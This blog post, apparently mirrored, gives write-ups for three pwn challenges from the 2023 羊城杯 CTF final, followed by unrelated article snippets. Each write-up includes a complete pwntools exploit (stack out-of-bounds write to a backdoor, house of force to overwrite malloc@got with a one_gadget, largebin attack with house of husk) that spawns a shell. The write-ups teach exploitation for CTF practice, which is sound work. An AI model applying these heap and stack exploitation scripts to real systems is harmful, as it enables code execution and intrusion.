2023 羊城杯 final

前言

笔者并未参加此次比赛, 仅仅做刷题记录. 题目难度中等偏下吧, 看你记不记得一些利用手法了.

arrary_index_bank

考点: 数组越界

保护: 除了 Canary, 其他保护全开, 题目给了后门

漏洞点:

idx/one 为 int64, 是带符号数, 所以这里存在向上越界,  并且 buf 为局部变量, 所以是栈上的向上越界读写. 

漏洞利用:

1) 越界读泄漏程序基地址绕过 PIE, 泄漏栈地址

2) one 为 BSS 段上的变量, 其在栈的上方, 所以可以越界修改 one 为一个较大的数

3) 将 one 修改为一个较大的数之后, 就可以向下越界写了, 修改返回地址为后门函数地址即可

exp 如下: 由于栈可能不稳定或者其他原因, 成功率并不是 100%, 多打几次

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> 'def oob_read(idx):sla(menu, b'1')sla(b'account?', byte(idx))def oob_write(idx, data):sla(menu, b'2')sla(b'account?', byte(idx))sla(b'much?', byte(data))#gdb.attach(io, 'b *$rebase(0x00000000000014FD)')
oob_read(-2)
rut(b' = ')
stack = int(rut(b'\n'), 10) - 0x30
info("stack", stack)oob_read(-1)
rut(b' = ')
base = int(rut(b'\n'), 10) - 0x1327 - 255
backdoor = base + 0x1310
one = base + 0x4010
info("base", base)
info("backdoor", backdoor)
info("one", one)offset = (one - stack) // 8
print("offset: ", offset)oob_write(offset, 1000)
sl(b'2')
sl(b'7')
sl(byte(backdoor+8))
#pause()
sl(b'3')
#debug()
sh()

如果题目没有给后门, 可以考虑打 ret2libc, 经过测试在栈的上方存在 libc 地址, 可以用来泄漏 libc. 感兴趣可以自行尝试.

easy_force

考点: mmap分配堆块+house of force

保护: 就开了 Canary 和 NX, 所以可以打 got 表. glibc 为 2.23 (好久没见2.23的题目了, 悲

题目给了 5 次分配的机会, 程序只有这一个功能, 这里每次都会将堆地址打印出来, 并且当分配的堆块大小小于0x30时, 则存在堆溢出.并且申请的堆块大小不存在限制

漏洞利用

泄漏 libc 基址:

        当申请的堆块比较大时如 0x200000, malloc 会从 mmap 映射一块内存, 而其地址一般与 libc 有固定偏移

匿名映射与文件映射区跟栈一样, 从高地址往低地址增长, 所以 mmap 出来的地址一般在 libc 上面

劫持 got 表: 

        存在堆溢出, 没有限制堆块申请大小, 可以泄漏堆地址, glibc 为 2.23 并且没有其他功能, 所以结合题目名字可知道这里得用 house of force

        往 malloc@got 写入 one_gadget 进行 getshell

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'away'
def add(idx, size, data, flag=True):sla(menu, b'1')sla(b'index?', byte(idx))sla(b'want?', byte(size))if flag:sda(b'write?', data)add(4, 2097152, b'A\n')
rut(b'the balckbroad on ')
libc.address = int(rut(b' is in use'), 16) + 0x200ff0
info("libc_base", libc.address)add(3, 16, p64(0)*3+p64(0xffffffffffffffff))
rut(b'the balckbroad on ')
heap_base = int(rut(b' is in use'), 16) - 0x10
info("heap_base", heap_base)"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
0x4527a execve("/bin/sh", rsp+0x30, environ)
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
0xf1247 execve("/bin/sh", rsp+0x70, environ)
"""
ones = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ones = [i+libc.address for i in ones]system = libc.sym.system
malloc_got = 0x0000000000602040size = malloc_got - 8 * 4 - heap_base - 0x20
add(0, size, b'A\n')
add(1, 16, p64(ones[0]))add(2, 0, b'', False)#debug()
sh()

效果如下:

Printf_but_not_fmtstr

考点: largebin attack + house of husk

保护: 只开了 Canary 和 NX, 并且题目给了后门. glibc 2.36

题目实现了一个菜单堆, 有增删查改的功能, 堆块大小限制在 [0x500, 0x900] 之间. 其中删除堆块时, 没有将指针置空, 存在 UAF 漏洞.

但是题目限制了不能修改 stdin/stdout/stderr. 所以常规的 largebin attack 打 IO 的方法就失效了. 并且程序没有正常退出并且没有显式的调用 exit, 所以 house of banana 也打不了.

但是题目给了后门并且 show 里面使用了格式化字符函数, 所以可以打 house of husk.

漏洞利用

1) 先利用 UAF 泄漏 libc_base 和 heap_base. 由于 printf 存在 \x00 截断, 所以可能不成功

2) largebin attack 修改 __printf_arginfo_table 和 __printf_function_table 为堆地址

3) 向对应的 __printf_arginfo_table['s'] 中写入后门函数地址

4) 在 show 即可 getshell

exp 如下: 环境 2.36-0ubuntu4_amd64

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'>'
def add(idx, size):sla(menu, b'1')sla(b'Index: ', byte(idx))sla(b'Size: ', byte(size))def dele(idx):sla(menu, b'2')sla(b'Index: ', byte(idx))def edit(idx, data):sla(menu, b'3')sla(b'Index: ', byte(idx))sda(b'Content: ', data)def show(idx):sla(menu, b'4')sla(b'Index: ', byte(idx))backdoor = 0x00000000004011D6add(0, 0x610)
add(1, 0x500)
add(2, 0x600)
dele(0)
add(3, 0x700)show(0)
rut(b'Content: ')
libc.address = addr64(b'\n')edit(0, b'A'*14+b'XX')
show(0)
rut(b'XX')
heap_base = addr64(b'\n') - 0x290edit(0, p64(libc.address)*2)
libc.address -= 0x1f7130
info("libc_base", libc.address)
info("heap_base", heap_base)arginfo = libc.address + 0x1f7890
function = libc.address + 0x1f8980
info("__printf_arginfo_table", arginfo)
info("__printf_function_table", function)dele(2)
edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(arginfo-0x20))
add(3, 0x700)pay_0 = p64(heap_base+0xdc0) + p64(libc.address+0x1f7130) + p64(heap_base+0xdc0)*2
pay_2 = p64(libc.address+0x1f7130) + p64(heap_base+0x290)*3
edit(0, pay_0)
edit(2, pay_2)add(2, 0x600)
dele(2)
edit(0, p64(libc.address+0x1f7130)*2+p64(heap_base+0x290)+p64(function-0x20))
add(3, 0x700)
edit(0, pay_0)
edit(2, pay_2)offset = ord('s')*8 - 0x10add(2, 0x600)
edit(2, b'\x00'*offset+p64(backdoor))
show(2)#debug()
sh()

效果如下:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/153960.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ROS1余ROS2共存的一键安装(全)

ROS1的安装: ROS的一键安装(全)_ros一键安装_牙刷与鞋垫的博客-CSDN博客 ROS2的安装 在开始这一部分的ROS2安装之前,是可以安装ROS1的,当然如果你只需要安装ROS2的话就执行从此处开始的代码即可 我是ubuntu20.4的版…

Ansible的when语句做条件判断

环境 控制节点:Ubuntu 22.04Ansible 2.10.8管理节点:CentOS 8 使用 when 语句做条件判断 创建文件 test1.yml 如下: --- - hosts: alltasks:- name: task1debug:msg: "hello"when: 1 > 0- name: task2debug:msg: "OK&q…

电力感知边缘计算网关产品设计方案-业务流程设计

1.工业数据通信流程 工业数据是由仪器仪表、PLC、DCS等工业生产加工设备提供的,通过以太网连接工业边缘计算网关实现实时数据采集。按照现有的通信组网方案,在理想通信状态下可以保证有效获取工业数据的真实性和有效性。 边缘计算数据通信框架图: 2.边缘计算数据处理方案 …

makefile备忘

结构描述 目标 … : 依赖 … 命令1 命令2 . . . 标记符 CFLAGS $^ 表示所有的依赖文件 $ 表示生成的目标文件 $< 代表第一个依赖文件 调试信息选项&#xff1a;-g优化选项&#xff1a;-O编译警告选项&#xff1a;-Wall指定包含目录选项&#xff1a;-I指定库目录选项&am…

Linux驱动开发——块设备驱动

目录 一、 学习目标 二、 磁盘结构 三、块设备内核组件 四、块设备驱动核心数据结构和函数 五、块设备驱动实例 六、 习题 一、 学习目标 块设备驱动是 Linux 的第二大类驱动&#xff0c;和前面的字符设备驱动有较大的差异。要想充分理解块设备驱动&#xff0c;需要对系统…

高效开发与设计:提效Spring应用的运行效率和生产力 | 京东云技术团队

引言 现状和背景 Spring框架是广泛使用的Java开发框架之一&#xff0c;它提供了强大的功能和灵活性&#xff0c;但在大型应用中&#xff0c;由于Spring框架的复杂性和依赖关系&#xff0c;应用的启动时间和性能可能会受到影响。这可能导致开发过程中的迟缓和开发效率低下。优…

Golang基础-面向过程篇

文章目录 基本语法变量常量函数import导包匿名导包 指针defer静态数组动态数组(slice)定义方式slice追加元素slice截取 map定义方式map使用方式 基本语法 go语言输出hello world的语法如下 package mainimport ("fmt""time" )func main() {fmt.Println(&…

以太网基础——DoIP报文类型

文章目录 前言一、DoIP payload types二、节点管理报文0x0000:Generic DoIP header negative acknowledge0x0001:Vehicle identification request message0x0002:Vehicle identification request message with EID0x0003:Vehicle identification request message with VIN0…

循环链表2

循环链表的实现 对于数据结构中所有的结构而言&#xff0c;每一次都是用之前初始化&#xff08;处理一开始的随机值&#xff09;一下&#xff0c; 用完销毁&#xff08;不管有没有malloc都能用&#xff0c;用了可以保证没有动态内存泄漏了&#xff09;一下 而在C里面&#x…

Dubbo开发系列

一、概述 以上是 Dubbo 的工作原理图&#xff0c;从抽象架构上分为两层&#xff1a;服务治理抽象控制面 和 Dubbo 数据面 。 服务治理控制面。服务治理控制面不是特指如注册中心类的单个具体组件&#xff0c;而是对 Dubbo 治理体系的抽象表达。控制面包含协调服务发现的注册中…

PLC设备相关常用英文单词(一)

PLC设备相关常用英文单词&#xff08;一&#xff09; Baud rate 波特率Bus 总线Binary 二进制Configuration 组态Consistent data 一致性数据Counter 计数器Cycle time 循环时间Conveyor 传送Device names 设备名称Debug 调试Download 下载Expand 扩展Fix 固定Flow 流量Functio…

Netty 使用数字证书建立tsl(ssl),检查crl(证书吊销列表)

使用SslContext 建立ssl连接 File certChainFile new File("D:\\test\\test\\sdk_test03\\test_03.crt");File keyFile new File("D:\\test\\test\\sdk_test03\\test_03.key");File rootFile new File("D:/test/MyPKISubCAG1.crt");String c…

【LeetCode:689. 三个无重叠子数组的最大和 | 序列dp+前缀和】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

WMS系统先验后收策略

在制造业工厂的仓库管理中&#xff0c;确保物料的质量和数量是至关重要的。传统的仓库管理方式往往采用“先收后验”策略&#xff0c;即先接收物料&#xff0c;然后再进行质量检验。然而&#xff0c;这种方式存在一定的风险&#xff0c;例如不良品流入、数量不准确等问题。为了…

腾讯云服务器标准型S5实例CPU性能如何?配置特性说明

腾讯云服务器CVM标准型S5实例具有稳定的计算性能&#xff0c;CVM 2核2G S5活动优惠价格280.8元一年自带1M带宽&#xff0c;15个月313.2元、2核4G配置748.2元15个月&#xff0c;CPU内存配置还可以选择4核8G、8核16G等配置&#xff0c;公网带宽可选1M、3M、5M或10M&#xff0c;腾…

优思学院|现代质量管理实践与六西格玛方法论如何融合?

企业要解决质量问题必然需要涉及管理&#xff0c;然而&#xff0c;如果仅仅将六西格玛法视为一种质量管理方法&#xff0c;必定会导致六西格玛管理法的失败。六西格玛法是一种具有特定战略性的管理方法&#xff0c;它涉及到市场、顾客、产品、服务、流程、质量、价值链以及财务…

Pytorch完整的模型训练套路

Pytorch完整的模型训练套路 文章目录 Pytorch完整的模型训练套路以CIFAR10为例实践 数据集加载步骤 使用适当的库加载数据集&#xff0c;例如torchvision、TensorFlow的tf.data等。 将数据集分为训练集和测试集&#xff0c;并进行必要的预处理&#xff0c;如归一化、数据增强等…

深搜回溯剪枝-全排列

LCR 083. 全排列 - 力扣&#xff08;LeetCode&#xff09; 根据题意&#xff0c;要根据给定的整数数组&#xff0c;穷举出所有可能的排列&#xff0c;从直观的角度上来看&#xff0c;可以使用多层 for 循环来解决&#xff0c;但如果是数组长度太大的时候&#xff0c;这种方式不…

配置Java环境变量不生效的解决办法

问题&#xff1a; 直接更换Java_HOME的JDK安装路径后&#xff0c;竟然环境变量不生效&#xff0c;在cmd窗口输入java -version或者javac -version后报错&#xff1f;&#xff1f;&#xff1f;这是为什么呢&#xff1f; 问题剖析&#xff1a; 在使用安装版本的JDK程序时&#…

DataFunSummit:2023年数据基础架构峰会-核心PPT资料下载

一、峰会简介 正如From、Join、排序等是SQL的基本算子&#xff0c;存储与计算是也是数据架构中数据生产与消费的基本算子&#xff0c;对于数据架构之下的技术栈层级&#xff0c;我们可将其定义为数据基础架构。 数据存储技术在适应大数据时代的规模需求基础之上&#xff0c;持…